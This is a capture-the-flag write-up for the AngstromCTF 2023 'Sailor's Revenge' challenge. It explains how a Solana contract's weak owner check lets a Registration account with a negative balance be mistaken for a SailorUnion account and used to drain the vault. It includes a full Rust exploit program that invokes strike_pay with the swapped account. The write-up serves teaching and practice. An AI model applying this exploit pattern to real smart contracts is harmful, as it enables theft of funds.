ʕ·ᴥ·ʔ






Sailor's Revenge

05/04/2023

By: unvariant

Tags: pwn AngstromCTF-2023

Problem Description:

After the sailors were betrayed by their trusty anchor, they rewrote their union smart contract to be anchor-free! They even added a new registration feature so you can show off your union registration on the blockchain!

Hints:

Reveal Hints None

Time spent figuring out how to compile attack script: ~6 hours Time spent actually exploiting: ~3 hours

Notice that in the strike_pay function they only validate that sailor_union.owner == program_id instead of checking the program address against the public key. The code makes the assumption that only the sailor_union account will have a owner of program_id.

    let sailor_union = next_account_info(iter)?;
    assert!(!sailor_union.is_signer);
    assert!(sailor_union.is_writable);
    assert!(sailor_union.owner == program_id);

The problem with this assumption is that in the register_member function it creates a new account attached to registration with the owner set to program_id.

    invoke_signed(
        &system_instruction::create_account(
            &authority.key,
            &registration_addr,
            Rent::get()?.minimum_balance(ser_data.len()),
            ser_data.len() as u64,
            program_id,
        ),
        &[authority.clone(), registration.clone()],
        &[&[
            b"registration",
            authority.key.as_ref(),
            &member,
            &[registration_bump],
        ]],
    )?;

This means we can pass registration instead of sailor_union into the strike_pay function. This is important because in the strike_pay function, they construct a SailorUnion struct from the account data.

pub struct SailorUnion {
   available_funds: u64,
   authority: [u8; 32],
}
    let mut data = SailorUnion::try_from_slice(&sailor_union.data.borrow())?;
    assert!(&data.authority == authority.key.as_ref());

    if data.available_funds >= amt {
        msg!("data.available_funds: {}", data.available_funds);
        data.available_funds -= amt;
        transfer(&vault, &member, amt, &[&[b"vault", &[vault_bump]]])?;
        data.serialize(&mut &mut *sailor_union.data.borrow_mut())?;
        Ok(())

The register_member function serializes a Registration struct into the data field instead of a SailorUnion

pub struct Registration {
    balance: i64,
    member: [u8; 32],
}
    let ser_data = Registration {
        balance: -100,
        member,
        // sailor_union: sailor_union.key.to_bytes(),
    }
    .try_to_vec()?;

The SailorUnion and Registraction structs are extremely similar, differing only by the signedness of the first field. If we pass the registration account into strike_pay instead of sailor_union, it will decode the negative balance in the data as a large u64, passing the check in strike_pay and allowing us to transfer an essentially arbitrary amount of lamports into any writeable account owned by the system.

Solve script
#![cfg(not(feature = "no-entrypoint"))]
use borsh::{BorshDeserialize, BorshSerialize};
use solana_program::{
    account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, instruction::{
        Instruction,
        AccountMeta,
    },
    program::invoke, pubkey::Pubkey,
    msg,
    log::{sol_log_compute_units, sol_log_params, sol_log_slice},
};
use sailors_revenge::processor::SailorInstruction;

entrypoint!(process_instruction);
fn process_instruction(
    program_id: &Pubkey,
    accounts: &[AccountInfo],
    instruction_data: &[u8],
) -> ProgramResult {
    // accounts
    /* [0] -> program (sailors_revenge.so)
     * [1] -> user
     * [2] -> vault
     * [3] -> sailor union
     * [4] -> registration
     * [5] -> rich boi
     * [6] -> system program
     */

    // for account in accounts {
    //     msg!("key: {:?}, signer: {:?}", account.key, account.is_signer);
    // }

    {
        msg!("begin strike pay");
        let accs = vec![accounts[4].clone(), accounts[1].clone(), accounts[1].clone(), accounts[2].clone(), accounts[6].clone()];
        let instr_accounts = accs.clone().into_iter().map(|acc| AccountMeta {
            pubkey: *acc.key,
            is_signer: acc.is_signer,
            is_writable: acc.is_writable,
        }).collect();
        /* first patch the chall library so SailorInstruction derives BorschSerialize */
        let data = SailorInstruction::StrikePay(100_000_000).try_to_vec()?;

        let strike_pay = Instruction {
            program_id: *accounts[0].key,
            accounts: instr_accounts,
            data,
        };

        msg!("issuing strike pay");
        _ = invoke(&strike_pay, &accs);
        msg!("finished invoking strike pay");
    }

    Ok(())
}